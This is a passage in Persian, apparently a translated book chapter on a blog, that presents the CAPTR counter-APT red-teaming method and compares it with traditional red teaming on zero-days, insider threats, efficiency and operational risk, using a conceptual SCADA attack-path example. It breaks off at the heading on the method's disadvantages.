<p>عملیات تیم قرمز ضد APT (تشکیل تیم CAPTR<a href="#_ftn1" name="_ftnref1"><sup>[1]</sup></a>) روشی برای اجرای عملیات تیم قرمز معکوس است که من در تحقیقات مقطع دکتری خودم و در قالب پایان‌نامه آن را مطرح، طراحی و سپس ارزیابی کردم. همانطور که در فصل‌های قبلی اشاره شد، روش تیم قرمز در زمینه شبیه‌سازی و مقابله کارآمد با تهدیدات مستمر پیشرفته<a href="#_ftn2" name="_ftnref2">[2]</a> نقطه ضعف بزرگی دارد. شبیه‌سازی APTها حتی برای با استعداد‌ترین کارشناسان امنیت تهاجمی هم چالش بزرگی است. وضعیت امنیت تهاجمی مدرن به صورتی است که حتی اگر مهارت‌های یک هکر اخلاقی و یک هکر مخرب در یک سطح باشند، باز هم تقریباً از همه جهات شرایط به نفع هکرهای اخلاقی است و نه هکرهای شبیه‌سازی شده. نتیجه نهایی تلاش برای رسیدگی به این مشکل، طراحی یک روش جدید برای امنیت تهاجمی بود که هر چند ایده و انگیزه اصلی آن چالش‌های مربوط به APT بود اما از جهات مختلف نسبت به تیم قرمز سنتی مزایای خاصی دارد.</p>
<p>صنعت امنیت بالاخره به مرحله‌ای رسیده که در آن وجود تیم‌های قرمز یا اجراکنندگان تست نفوذ در دستگاه امنیتی کلی سازمان‌ها مورد پذیرش قرار گرفته و حتی مورد انتظار است. حتی عده‌ای انواع خاصی از فعالیت‌های امنیت تهاجمی را به عنوان گامی برای اعتبارسنجی و تأیید سایر فعالیت‌ها و فناوری‌های امنیت تهاجمی در نظر می‌گیرند. یکی از پیامدهای در نظر گرفتن تیم قرمز یا تست نفوذ به عنوان یکی از اجزای اجباری امنیت تهاجمی کلی سازمان‌ها، این است که بسیاری از افراد انتظار دارند که چنین فعالیت‌هایی حداقل تأثیر را بر زمان و منابع داشته باشد. در نتیجه خیلی از سازمان‌های مشتری خواستار اجرای این عملیات در بازه زمانی کوتاه با منابع محدود هستند تا صرفاً طبق استانداردها و سیاست‌هایی که ملزم به رعایت آنها هستند، عمل کرده باشند.</p>
<p>هدف من این بود که با اضافه کردن این اجزای خاص به فرایند تیم قرمز معمولی، به این مشکلات بپردازم. مهاجمان APT واقعی از هیچ قانونی تبعیت نمی‌کنند به غیر از مواردی که به آنها برای رسیدن به اهدافشان کمک می‌کنند. مهاجمان با تقلب، بهره برداری و هر کاری که بتوانند انجام دهند، به اهداف مورد نظرشان نفوذ می‌کنند. در چنین شرایطی، چرا هکرهای اخلاقی نباید با جعل فرایندهای معمولی به مقابله با مهاجمان APT کمک کنند؟ مسلم است که همچنان باید از قوانین و محدوده‌هایی که در ROE مشخص شده تبعیت کرده و در این فرایند هیچ قانونی را نقض نکنیم. اما اگر بتوانیم طوری در فرایندهای معمولی تقلب کنیم که باعث سنگین‌تر شدن کفه ترازو به نفع ما شود و همچنان همه مزایای عملیات امنیت تهاجمی را حفظ کند، تقلب کردن می‌تواند جزء گزینه‌های ارزشمند باشد. اگر سازمان‌ها سعی کنند برای صرفه جویی در منابع و زمان، ارزیابی‌ها را در یک بازه زمانی بسیار کوتاه انجام دهند باید روشی در اختیار آنها قرار دهیم که امکان اجرای یک ارزیابی کارآمد و تأثیرگذار را در چنین شرایط محدودی فراهم کند. این نیاز باعث شد که من از طریق معکوس کردن و تغییر فعالیت‌های تیم قرمز، یک فرایند متفاوت برای اجرای چنین عملیاتی طراحی کنم که به مقابله با تهدیدات پیشرفته در ارزیابی‌های بسیار محدود کمک می‌کند. در این فصل به بررسی روش اجرای عملیات CAPTR، انگیزه ایجاد این روش، مقایسه مزایای آن با عملیات تیم قرمز معمولی و معایب کلی این روش می‌پردازیم.</p>
<h2><a name="_Toc144125148"></a>تیم CAPTR</h2>
<p>هدف اولیه من، حفاظت از سازمان‌ها در برابر خطرات کشنده‌ای بود که ممکن است در اثر نفوذ یک APT به یک سازمان خاص ایجاد شوند. نفوذ کشنده به مواردی گفته می‌شود که باعث مرگ انسان می‌شوند یا آنهایی که باعث از بین رفتن یک سازمان یا توقف عملکرد معمول همیشگی آن می‌شوند. باور من این بود که قابلیت دفاع از چنین اهدافی در برابر APTها می‌تواند ارزش ایجاد یک فرایند اختصاصی را داشته باشد. نفوذ کشنده می‌تواند به دلیل از دست دادن کنترل بر تجهیزات اسکادا<a href="#_ftn3" name="_ftnref3">[3]</a> ایجاد شود که در نهایت منجر به مرگ کارمندان خط مونتاژ، ذوب شدن یک نیروگاه برق هسته‌ای، از دست دادن و یا افشای اطلاعات شده و تأثیر آن بر یک سازمان می‌تواند معادل با مرگ آن سازمان باشد. هنگام طراحی فرایندی برای رسیدگی به چنین نفوذهایی که توانایی مقابله با تهدیدات APT را داشته باشد، به ایده تیم CAPTR رسیدم. همچنین متوجه شدم که هر چند این روش برای مقابله با این آسیب‌پذیری‌های حیاتی طراحی شده اما از جهات مختلف دیگر هم فواید خاصی دارد و خوب است که در بررسی اصول کلی امنیت تهاجمی به آن بپردازیم. تیم CAPTR در اصل یک ارزیابی اولویت بندی شده از زیرمجموعه‌ای از یک سازمان به روش بسیار کارآمد و مؤثر است؛ این روش برای پرداختن به تهدیدات APT بسیار مفید است و علاوه بر کاهش احتمال هدف گیری سازمان‌ها توسط یک APT، به اجرای یک ارزیابی متمرکز از دارایی‌های مورد نظر کمک می‌کند. این دارایی‌ها می‌توانند یک اپلیکیشن جدید، یک مرکز داده، یک واحد تجاری، یک زیرمجموعه اکتساب شده یا هر حوزه دیگری باشند که نیاز به ارزیابی امنیت تهاجمی سریع و مؤثر دارند.</p>
<p>تیم ارزیابی امنیت تهاجمی باید با تمام توان سعی کند از رقبا پیشی بگیرد. مهاجمان مخرب و شبیه‌سازان تهدیدات سنتی زمان و تلاش زیادی را صرف حمله به سازمان‌ها برای پیدا کردن ماشین‌ها و داده‌های ارزشمند می‌کنند. ارزیابان امنیتی باید از منابع عملیاتی و فنی میزبان برای شناسایی و اولویت بندی این آیتم‌های حیاتی استفاده کنند. این افراد باید تلاش‌های خودشان را از آیتم‌های مهم شروع کنند و وقتشان را برای رسیدن به این آیتم‌ها هدر ندهند. به این ترتیب، روش تیم CAPTR مزیت عملیاتی را از گروه‌های APT سلب کرده و متمرکز بر تشخیص و پیشگیری می‌شود. عملیات تیم CAPTR یک مدل ارزیابی امنیت تهاجمی با سه ویژگی جدید است:</p>
<ol>
<li>تحلیل بدترین حالت ممکن برای مشخص کردن محدوده؛</li>
<li>بررسی چشم‌انداز اولیه حیاتی</li>
<li>تحلیل آسیب‌پذیری و بهره برداری با استفاده از زنجیره جابجایی معکوس</li>
</ol>
<h3><a name="_Toc144125149"></a>تحلیل بدترین حالت ممکن و تعیین محدوده</h3>
<p>تیم CAPTR برای تعیین محدوده مناسب ارزیابی، با پرسنل امنیتی و عملیاتی سازمان همکاری می‌کند. محدوده تیم CAPTR شامل یک الویت بندی از آیتم‌های مهم و حیاتی است که نفوذ به آنها صرف نظر از میزان احتمال نفوذ، تأثیرات زیادی دارد. این استراتژی امکان مصرف کارآمد و مؤثر منابع ارزیابی را برای بدترین حالت ممکن در سطح سازمان فراهم می‌کند. شناسایی درست آیتم‌هایی با ریسک بالا مستلزم مشارکت افراد دخیل از هر دو حوزه امنیتی و عملیاتی سازمان هدف است. ممکن است کارمندان عملیاتی در جریان باشند که نفوذ به کدام اشیاء می‌تواند برای سازمان ویرانگر باشد. اما شاید این افراد اطلاع نداشته باشند که داده‌ها و دستگاه‌های درون شبکه تا چه حد جزء آیتم‌هایی با ریسک بالا هستند یا چقدر از چنین آیتم‌هایی پشتیبانی می‌کنند. داشتن اطلاعات درباره زیرساخت فناوری اطلاعات و نقش کارمندان امنیت سازمان در این زمینه برای تعیین کامل‌ترین مرز محدوده اولیه مهم است. محدود کردن محدوده اولیه ارزیابی تیم CAPTR به اشیایی با ریسک بالا به تیم ارزیابی امکان می‌دهد که متمرکز بر سطح حمله کوچکی شوند که شامل همه دارایی‌های مهم است و مانع از صرف منابع برای هر چیزی غیر از مهم‌ترین سطح حمله می‌شود. شناسایی درست دارایی‌هایی با اهمیت بالا در مرحله تعیین محدوده، امکان ارزیابی موفقیت آمیز آیتم‌هایی با اهمیت نفوذ بسیار زیاد را فراهم می‌کند و در نهایت از طریق مقابله با تهدیدات مربوط به بدترین حالت ممکن، به بهبود وضعیت امنیتی کلی سازمان‌ها کمک خواهد کرد.</p>
<h3><a name="_Toc144125150"></a>چشم‌انداز اولیه حیاتی</h3>
<p>چشم‌انداز اولیه نقطه‌ای است که در یک ارزیابی امنیتی تهاجمی، اسکن و سرشماری آسیب‌پذیری‌ها از آن نقطه شروع می‌شود. از جمله این نقاط می‌توان به اینترنت (که جزء نقاط خارج از سازمان است) یا محل‌هایی از درون سازمان اشاره کرد. محل چشم‌انداز اولیه بر خیلی از ویژگی‌های ارزیابی مثل سطح حمله‌ای که ابتدا ارزیابی می‌شود، نوع تهدید ارزیابی شده، آسیب‌پذیری‌های شناسایی شده و غیره تأثیر زیادی دارد.</p>
<p>شروع ارزیابی با در نظر گرفتن محدوده‌ای متشکل از آیتم‌های پرریسک و نقطه شروعی مثل یک تهدید اینترنتی، نفوذ به یک سرور DMZ یا حتی اجرای موفقیت آمیز فیشینگ هدفمند روی یکی از سیستم‌های درون سازمانی می‌تواند مانع از پیشرفت و موفقیت ارزیابی شود. برای رسیدگی مناسب و کارآمد به تهدیداتی که ممکن است توسط گروه‌های APT بر ضد آیتم‌های حیاتی مورد بهره برداری قرار بگیرند، باید این فرض در نظر گرفته شود که این تهدیدات از قبل به محیط سازمان و لایه‌های بعدی آن نفوذ کرده‌اند یا توانایی انجام این کار را دارند. در مدل CAPTR پس از مشخص کردن اشیایی که نفوذ به آنها تأثیر زیادی دارد و تعیین محدوده، ارزیابی با اولویت آیتم‌های دارای ریسک بالا شروع می‌شود. به این روش &#8220;استفاده از چشم‌انداز اولیه حیاتی&#8221; هم گفته می‌شود و به تیم ارزیابی CAPTR امکان می‌دهد که به جای صرف زمان برای پیدا کردن مسیر نفوذ به اشیایی با ریسک نفوذ زیاد، یک ارزیابی فوری از خود این اشیاء انجام دهند.</p>
<h3><a name="_Toc144125151"></a>زنجیره انتقال معکوس</h3>
<p>زنجیره انتقال معکوس یک فرایند دو مرحله‌ای جهت رسیدن به یافته‌هایی است که برای اشیایی که در ابتدا تحت نفوذ فرض شده بودند، حداکثر پیامدهای نفوذ را مشخص می‌کنند. یک ارزیابی محلی روی هر یک از این اشیاء صورت می‌گیرد. سپس از این اشیاء به عنوان چشم‌انداز حیاتی اولیه برای ارزیابی بیرونی سازمان استفاده می‌شود. این ارزیابی به سمت بیرون، به روش هدفمند و بدون مزاحمت اجرا می‌شود طوری که سطوح مختلف اشیاء برقرار کننده ارتباط، روابط آنها و آیتم‌هایی که در ابتدا برای ارزیابی در نظر گرفته شده بودند، مشخص شود. این روابط در نهایت نشان دهنده شبکه‌ای از ارتباطات ریسک‌ها هستند که از آیتم‌هایی با اولویت و تأثیر زیاد به سمت بیرون گسترش پیدا می‌کنند.</p>
<p>زنجیره انتقال معکوس روابط تهدیدات را در قالب شبکه‌ای متشکل از ارتباطات ریسک‌ها به تصویر می‌کشد که در آن آیتم‌های حیاتی در مرکز قرار دارند. حتی اگر بهره برداری راه دور از سطح 1 یا اشیای بیرونی‌تر ممکن نباشد باز هم ارتباطات بین ریسک‌ها همراه با رتبه‌هایی که مشخص کننده قابلیت آنها برای فراهم کردن دسترسی هکرها به اشیای حیاتی هستند، به تصویر کشیده می‌شود. چنین اطلاعاتی برای رسیدگی به تهدیدات شناسایی شده توسط تیم CAPTR سازمان حیاتی هستند. تشکیل این شبکه‌ی ارتباطات ریسک‌ها یک گام متفاوت به سمت همکاری بین تیم‌های امنیت تهاجمی و دفاعی بر اساس نتایج ارزیابی است که به بهبود وضعیت امنیتی سازمان کمک می‌کند.</p>
<h2><a name="_Toc144125152"></a>تقابل</h2>
<p>وابستگی به نتایج ارزیابی‌های تیم قرمز سنتی برای ارزیابی امنیت سایبری و مقابله با تأثیر APTها چند ایراد دارد. این مشکلات ناشی از پیشرفت و توسعه مستمر چشم‌انداز تهدیدات هستند. ممکن است فهرست آسیب‌پذیری‌هایی که در یک ارزیابی منتشر می‌شود، چند روز پس از ارایه نتیجه تست، قدیمی شده باشند. دلیل بعدی این است که معمولاً فعالیت‌های تیم قرمز متمرکز بر تقلید رفتار مهاجمان هستند نه همه جنبه‌های تهدیدات داخلی. تقابل معایب عملیات تیم قرمز سنتی برای چنین شرایطی و شرایط دیگر با مزایای تیم CAPTR می‌تواند کمک زیادی به تثبیت جایگاه روش تیم CAPTR بین روش‌های فعلی کند.</p>
<h3><a name="_Toc144125153"></a>روز صفر</h3>
<p>اکسپلویت روز صفر به کدهایی گفته می‌شود که از یک آسیب‌پذیری روز صفر بهره برداری می‌کنند. آسیب‌پذیری روز صفر به آسیب‌پذیری‌هایی گفته می‌شود که فروشندگان راهکارهای امنیتی یا تولیدکننده نرم‌افزار، از آنها اطلاع ندارند. حین اجرای عملیات، تیم قرمز سیستم‌ها را برای شناسایی آسیب‌پذیری اسکن می‌کند و سعی می‌کند از آنها بهره برداری کرده و با استفاده از آنها به سازمان نفوذ کند. یکی از مشکلات این فرایند این است که ممکن است در آن از اکسپلویت‌های روز صفر استفاده نشود چون هنوز افشا یا شناسایی نشده‌اند. می‌توان این دیدگاه محافظه کارانه‌تر را داشت که چند روز پس از اجرای تست نفوذ توسط یک تیم قرمز، یک آسیب‌پذیری مسلح سازی شده تهدید جدیدی برای سازمان ایجاد کند.</p>
<p>همچنین باید فرض کرد که بخش‌هایی از شبکه که در دسترس تیم قرمز نبوده‌اند، آسیب‌پذیری‌های قابل بهره برداری دارند که تیم قرمز نتوانسته آنها را ارزیابی کند به این دلیل که برخی دستگاه‌هایی که تیم ارزیابی از آنها استفاده کرده، آسیب‌پذیری لازم را برای فراهم کردن دسترسی نداشته‌اند. در چنین مواقعی، اگر دستگاه‌هایی که مورد ارزیابی تیم قرمز قرار نگرفته‌اند، یک آسیب‌پذیری روز صفر جدید داشته باشند، ممکن است مهاجمان بتوانند با استفاده از همان آسیب‌پذیری‌های قابل بهره برداری، اقدامات پیش بینی نشده‌ای انجام دهند. این یکی از شرایط پذیرفته شده عملیات تیم قرمز است &#8211; این که ممکن است بخش‌های ارزیابی نشده، حاوی آسیب‌پذیری‌های خاصی باشند. واضج است که احتمال تبدیل آسیب‌پذیری‌های روز صفر به اکسپلویت‌های روز صفر، امکان وجود حفره‌هایی را در سازوکار دفاعی سازمان‌ها نشان می‌دهد که از دسترس تحلیلگران خارج هستند. روش تیم CAPTR به کاهش تأثیر این آسیب‌پذیری‌های روز صفر بر کارایی ارزیابی کمک می‌کند. شکل 9-1 را در نظر بگیرید که نمایی ساده از یک عملیات تیم قرمز است.</p>
<p><img loading="lazy" decoding="async" class="size-full wp-image-1398 aligncenter" src="https://blog.peneter.com/wp-content/uploads/2025/01/professional-red-teaming-fig-9-1.jpg" alt="" width="460" height="140" srcset="https://blog.peneter.com/wp-content/uploads/2025/01/professional-red-teaming-fig-9-1.jpg 460w, https://blog.peneter.com/wp-content/uploads/2025/01/professional-red-teaming-fig-9-1-300x91.jpg 300w, https://blog.peneter.com/wp-content/uploads/2025/01/professional-red-teaming-fig-9-1-100x30.jpg 100w" sizes="auto, (max-width: 460px) 100vw, 460px" /></p>
<p style="text-align: center;">شکل 9-1 مسیر تیم قرمز</p>
<p>در این شکل، تیم قرمز از سرور اپلیکیشن تحت وب که با اینترنت در تماس است بهره برداری می‌کند و از این طریق، به سیستم شخصی مدیر اپلیکیشن تحت وب دسترسی پیدا می‌کند. این دسترسی با به دست آوردن اعتبارنامه‌های کاربری این سیستم و شناسایی آی‌پی مدیر، هنگامی که برای بررسی سرور به آن لاگین کرده بود، انجام می‌شود. در مرحله بعد، تیم قرمز سعی می‌کند بیشتر در شبکه نفوذ کرده و یک نفوذ مرگبار انجام دهد؛ در اینجا این نفوذ مربوط به دستگاه سیستم اسکادا است که توزیع زباله‌های زیستی خطرناک را کنترل می‌کند. متأسفانه، بین نقطه چرخش تیم قرمز و نفوذ کشنده یک درگاه ویندوز 2012 قرار دارد که در حال حاضر هیچ آسیب‌پذیری شناخته شده‌ای برای آن وجود ندارد. در این مثال، تیم قرمز هیچ وقت موفق به سرشماری کنترل کننده اسکادا نمی‌شود تا وجود آسیب‌پذیری‌های اجرای کد از راه دور مثل MS08-067 را در آن ارزیابی کند. مدت کوتاهی پس از ارزیابی، آسیب‌پذیری و اکسپلویت روز صفر MS17-010 در اینترنت فاش می‌شود و یک مهاجم APT که از طریق فیشینگ هدفمند به یک حساب کاربری دیگر دسترسی پیدا کرده، از آن برای عبور از درگاه ویندوز 2012 استفاده می‌کند. حالا مهاجم APT می‌تواند به راحتی از کنترل کننده اسکادای آسیب‌پذیر و سپس از خود دستگاه اسکادا بهره برداری کند چون این دستگاه در برابر یک اکسپلویت ارتقای سطح دسترسی به نام semtex آسیب‌پذیر است و به این ترتیب مهاجم توانایی ایجاد یک فاجعه کشنده را دارد. حالا شکل 9-2 را در نظر بگیرید که نمایی ساده از یک تعامل تیم CAPTR را نشان می‌دهد.</p>
<p style="text-align: center;"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-1399" src="https://blog.peneter.com/wp-content/uploads/2025/01/professional-red-teaming-fig-9-2.jpg" alt="" width="458" height="143" srcset="https://blog.peneter.com/wp-content/uploads/2025/01/professional-red-teaming-fig-9-2.jpg 458w, https://blog.peneter.com/wp-content/uploads/2025/01/professional-red-teaming-fig-9-2-300x94.jpg 300w, https://blog.peneter.com/wp-content/uploads/2025/01/professional-red-teaming-fig-9-2-100x31.jpg 100w" sizes="auto, (max-width: 458px) 100vw, 458px" /></p>
<p style="text-align: center;">شکل 9-2 مسیر تیم CAPTR</p>
<p>در اینجا، ارزیابی تیم CAPTR روی دستگاه اسکادا و با نفوذ کشنده شروع می‌شود. این تیم، آسیب‌پذیری ارتقای دسترسی را روی دستگاه اسکادا شناسایی می‌کند. همچنین از طریق اطلاعات اتصال که در سیستم عامل موجود است، کنترل کننده اسکادا را شناسایی می‌کند. سپس تیم کنترل کننده اسکادای ویندوز XP را شناسایی کرده و از آن بهره برداری می‌کند اما باز هم به دلیل اینکه درگاه ویندوز 2012، آسیب‌پذیری اجرای کد از راه دور را ندارد، امکان حرکت به سمت بیرون را ندارد. دوباره همان اتفاق تکرار می‌شود یعنی آسیب‌پذیری MS17-010 منتشر شده و مهاجم APT از آن عبور می‌کند. اما این بار مهاجم دچار چالش شده و توانایی عبور از کنترل کننده اسکادا یا ارتقای سطح دسترسی برای نفوذ کشنده را ندارد چون از قبل به آسیب‌پذیری رسیدگی شده است. به این ترتیب، با اینکه انتشار اکسپلویت روز صفر جدید باعث آسیب‌پذیر شدن درگاه ویندوز 2012 در برابر حمله شده است، تیم دفاعی از نظر پیشگیری و تشخیص تلاش‌های مهاجمان APT برای نفوذ کشنده و نقطه چرخش مربوط به آن پیشی می‌گیرد.</p>
<p>برای اکسپلویت و آسیب‌پذیری‌های روز صفر هیچ راهکار کامل و بی‌نقصی وجود ندارد. در هر صورت چنین مشکلاتی پیدا شده و دستگاه‌ها را آسیب‌پذیر می‌کنند. تیم CAPTR هم به هیچ وجه امکان حفاظت از سازمان‌ها را در برابر این آسیب‌پذیری‌ها ندارد. اما با استفاده از این روش می‌تواند مطمئن شد که اول به نقاط چرخش داخلی و نفوذ مرگبار رسیدگی می‌شود. این کار به مقابله حداکثری با آسیب‌پذیری‌های روز صفر در بخش‌هایی از شبکه که کاملاً ارزیابی نشده، بسیار آسیب‌پذیر هستند و مهاجم APT می‌تواند به راحتی به آنها نفوذ کند، کمک می‌کند.</p>
<p>شکل‌های 1-9 و 9-2 به خوبی تأثیر آسیب‌پذیری‌های روز صفر بر عملیات تیم قرمز و تیم CAPTR را نشان می‌دهند اما این شرایط برای سایر قیدها مثل بازه تعیین شده برای ارزیابی هم وجود دارد. مثلاً ممکن است حین اجرای ارزیابی، تیم قرمز طی مهلت تعیین شده فقط بتواند به سرور درگاه برسد و ممکن است این تلاش به عنوان عملیات موفقیت آمیز تلقی شود. همچنین ممکن است در چنین شرایطی تیم قرمز دارایی‌های حیاتی را که در لایه‌های عمیق‌تر شبکه هستند ارزیابی نکرده باشد. در مقابل، اولویت بندی محدوده و روش مورد استفاده تیم CAPTR که عکس روش تیم قرمز است، این امکان را فراهم می‌کند که کنترل کننده اسکادا و نفوذ کشنده زودتر ارزیابی شوند و پوشش آنها در بازه زمانی تعیین شده، تضمین شود.</p>
<h3><a name="_Toc144125154"></a>تهدیدات داخلی</h3>
<p>هنگام شبیه‌سازی حمله، ممکن است تیم قرمز یکی از بزرگترین منابع از دست رفتن داده و نفوذ سایبری یعنی تهدیدات داخلی را نادیده بگیرد. ممکن است چنین تهدیداتی به صورت تصادفی ایجاد شوند مثل افراد داخلی که عمداً دست به خرابکاری می‌زنند یا به صورت افراد خارجی که دسترسی‌های داخلی را به دست آورده‌اند.</p>
<p>می‌توان با برخی از ارزیابی‌های تیم قرمز به نفوذهای داخلی تصادفی رسیدگی کرد مثل وقتی که تیم از نقطه‌ای به شبکه حمله می‌کند که مشابه با دسترسی به دست آمده از طریق فیشینگ هدفمند است. این موضوع در رابطه با اجرای حملات فیشینگ هدفمند حین تست نفوذ هم صدق می‌کند اما اگر هیچ کاربری حین اجرای تست ایمیل مخرب را باز نکند، ممکن است موفقیت طرح محدود شود.</p>
<p>تهدید داخلی عمدی، نقطه‌ای از حمله است که ارزیابی‌های تیم قرمز سنتی همیشه آن را ارزیابی نمی‌کنند چون معمولاً کار آنها شبیه‌سازی یک مهاجم است نه یک مدافع یا یک مهاجم مخرب مشخص. این یعنی در گزارش تست نفوذ، ممکن است یک سطح حمله ارزیابی نشده وجود داشته باشد که بیشتر از 20 درصد از رخنه‌های اطلاعاتی را شامل می‌شود. چنین مواردی جزء تأثیرگذارترین نفوذها برای سازمان‌ها هستند.</p>
<p>ممکن است مهاجمان داخل سازمان بتوانند با استفاده از برخی آسیب‌پذیری‌ها به آیتم‌هایی دسترسی پیدا کنند که نفوذ به آنها حیاتی یا مرگبار باشد. از آنجایی که ارزیابی تیم CAPTR از آخرین خط دفاعی شروع شده و از آنجا به سمت بیرون ادامه پیدا می‌کند، حتی یک مجموعه سازوکار دفاعی محدود بین مهاجم داخلی و این آیتم‌ها هم توسط تیم CAPTR ارزیابی خواهد شد.</p>
<p>مهاجم داخلی همیشه یک تهدید داخلی معمولی مثل یکی از کارمندان یا پیمانکاران فعلی یا قدیمی و یا افراد دیگری که زمانی به سیستم‌ها دسترسی داشته‌اند، نیست. ممکن است تهدید داخلی یک هکر APT باشد که از قبل جای پای خودش را در سازمان محکم کرده است. مزیت این رویکرد برای تمرکز بر تهدیدات داخلی که عضو سازمان نیستند این است که ارزیابی تیم CAPTR با شناسایی و مقابله با نقاط چرخش احتمالی درون سازمان و ایجاد چالش‌های بزرگتر برای هکرها حتی پس از انتشار یک اکسپلویت روز صفر، به پیشگیری از دسترسی به آیتم‌های ارزشمند کمک می‌کند. قطعاً این احتمال وجود دارد که یک مهاجم یا حتی یک کارمند خشمگین از حساب‌های مجاز خودش برای نفوذ به بخش‌هایی از یک سازمان استفاده کرده باشد. در چنین مواقعی هم ارزیابی‌های تیم CAPTR و رسیدگی‌های پس از آن باعث سخت‌تر شدن کار مهاجمان برای ایجاد آسیب‌های جبران ناپذیر در سازمان می‌شود.</p>
<h3><a name="_Toc144125155"></a>بهره‌وری</h3>
<p>در یک ارزیابی امنیت تهاجمی، آنچه که به تولید اطلاعات قابل گزارش کمک می‌کند، شناسایی و بهره برداری از دستگاه‌های آسیب‌پذیر است. این به آن معنا نیست که هر دستگاهی که حین اجرای ارزیابی مورد بهره برداری قرار گرفته اهمیت فوق العاده زیادی دارد یا سازمان به مشکلات پیدا شده برای همه دستگاه‌ها رسیدگی کرده یا اهمیت خواهد داد. ممکن است حین اجرای یک تست، ساعت‌ها صرف بهره برداری از یک آسیب‌پذیری شناخته شده در یک دستگاه شود و بعد مشخص شود که این دستگاه یک سرور از رده خارج شده است که هیچ اطلاعات مهمی در آن نیست و در محیط ابری میزبانی می‌شود که هیچ دستگاه دیگری در آن بستر وجود ندارد. به غیر از زمانی که حین اجرای عملیات تیم قرمز از دست می‌رود، این مسئله از نظر بهره وری تأثیرات نامطلوب دیگری هم دارد. تیم قرمز سعی می‌کند همه حفره‌های موجود در سیستم‌های دفاعی سازمان را پیدا کند اما مهاجمان APT سعی دارند فقط یک حفره را پیدا کنند. این یعنی تیم قرمز نسبت به یک آسیب‌پذیری خاص که به هکر APT امکان نفوذ عمیق به سازمان را می‌دهد، زمان بیشتری را صرف پیدا کردن آسیب‌پذیری‌های بیشتر می‌کند. با توجه به گستردگی فعالیت‌های مخربی که در هر سازمان متصل به اینترنتی وجود دارد، این رویکرد کاملاً درست و ضروری است. لازم به ذکر است که ممکن است حین اجرای تست نفوذ تیم قرمز آسیب‌پذیری‌های زیادی شناسایی شود اما هیچ کدام از آنها امکان دسترسی به آیتم‌های حیاتی را فراهم نکنند. بنابراین، بر خلاف آیتم‌های مورد استفاده هکرهای معمولی، کد نویسان تازه کار و حملات خودکار، چنین تست‌هایی مناسب ارزیابی آیتم‌های بسیار خاصی که هکرهای APT می‌توانند از آنها استفاده کنند نیستند. اولویت تیم قرمز شناسایی آسیب‌پذیری‌هایی در سطح حمله سازمان است که احتمال دسترسی مهاجمان به آنها بیشتر است. قسمت‌هایی از شبکه که از طریق اینترنت در دسترس قرار دارند، بیشتر مورد حمله قرار می‌گیرند. به دلیل سرعت بالای توسعه فناوری ابر که چالش‌های امنیت دفاعی را افزایش می‌دهد، سطح حمله لایه‌ای از سازمان‌ها که در تماس با اینترنت قرار دارد روزبروز وسیع‌تر می‌شود.</p>
<p>این گفته‌ها به این معنا نیست که اجرای عملیات تیم قرمز، معادل با استفاده نادرست از منابع است. تیم قرمز نقش بسیار مهمی در حفاظت از سازمان‌ها در برابر تهدیدات سایبری دارد. همانطور که پیش از این اشاره شد، در رابطه با APTها جای پیشرفت و اصلاح وجود دارد. می‌توان با اجرای عملیات تیم CAPTR، بهره وری را افزایش داد. برای رسیدن به این هدف، باید سازمان را طوری ارزیابی کرد که تیم قرمز مسیرهای مورد استفاده هکرهای APT برای نفوذ به ارزشمندترین دارایی‌های سازمان را شناسایی کند. مسئله بهره وری تحت تأثیر سطح حمله قرار دارد. تیم قرمز باید آسیب‌پذیری‌های موجود در سطح هر لایه دفاعی را در نظر داشته باشد. این رویکرد باعث صرف زمان برای در نظر گرفتن همه حملات می‌شود نه حملات بسیار خاصی که یک هکر APT برای رسیدن به هدف نهایی مثل سرقت داده‌ها اجرا می‌کند. تیم CAPTR متمرکز بر کل سطح حمله هر لایه نیست بلکه فقط بر نقاطی از هر لایه متمرکز می‌شود که به مهاجم برای رسیدن به مرحله نفوذ حیاتی یا مرگبار کمک می‌کنند.</p>
<h3><a name="_Toc144125156"></a>ریسک تحمیل شده</h3>
<p>در اجرای ارزیابی‌های امنیت تهاجمی همیشه مقداری ریسک وجود دارد. بهره برداری، مستلزم استفاده از اکسپلویت‌های بالقوه ناپایدار است از جمله سرریز بافر در پردازش‌های سیستمی مثل MS08-067 یا شرایط تأثیرگذار بر هسته سیستم عامل مانند Dirty COW<a href="#_ftn4" name="_ftnref4"><sup>[4]</sup></a> که می‌توانند باعث کرش کردن سیستم هدف شوند. با نزدیک شدن تیم قرمز به آیتم‌هایی که برای سازمان مرگبار یا حیاتی هستند و ممکن است مورد هدف هکرهای APT قرار بگیرند، سطح ریسک افزایش پیدا می‌کند. وقتی نیاز به اجرای ارزیابی امنیت تهاجمی وجود دارد، این یکی از هزینه‌های آن است. عواملی هم هستند که در حین اجرای عملیات به مقابله با ریسک کمک می‌کنند مثل تعیین محدوده و ROE که پیش از شروع تست مشخص می‌شوند. باز هم برای آیتم‌های درون محدوده، ریسک وجود دارد و زمانی که تیم قرمز برای شبیه‌سازی رفتار هکرهای APT اهداف پرریسک را در نظر می‌گیرد، اجرای تکنیک‌های ارتقای امتیاز دسترسی و بهره برداری از راه دور با عواقب پیش بینی نشده‌ای همراه است.</p>
<p>عملیات تیم CAPTR خطر کمتری برای محیط پرریسک سازمان میزبان ایجاد می‌کند. شروع اجرای این ارزیابی از آیتم‌های داخلی با ریسک مرگبار باعث می‌شود تا حین اجرای ارزیابی تهاجمی، با اجرای کد از راه دور خطر کرش کردن یا بروز اختلال در این سیستم‌ها ایجاد نشود. اجرای عملیات تیم قرمز سنتی مستلزم استفاده از ابزارهای اسکن فعال مثل NMAP برای شناسایی نقاط مورد نظر است. تیم CAPTR به منظور هدایت ارزیابی به سمت نقاط چرخش، از اطلاعات به دست آمده درباره آیتم‌هایی با احتمال نفوذ مرگبار استفاده می‌کند و این گردآوری اطلاعات و هدف گیری بارها تکرار می‌شود. کاهش وابستگی به ابزارهای اسکن و بهره برداری راه دور از سیستم‌های بسیار حیاتی، به تیم CAPTR امکان می‌دهد که ارزیابی امنیت تهاجمی را بر روی محیط‌های پرریسکی انجام دهد که احتمال هدف گرفتن آنها توسط مهاجمان APT وجود دارد و در عین حال حداقل ریسک ممکن را برای این سیستم‌ها ایجاد کند.</p>
<h3><a name="_Toc144125157"></a>معایب</h3>
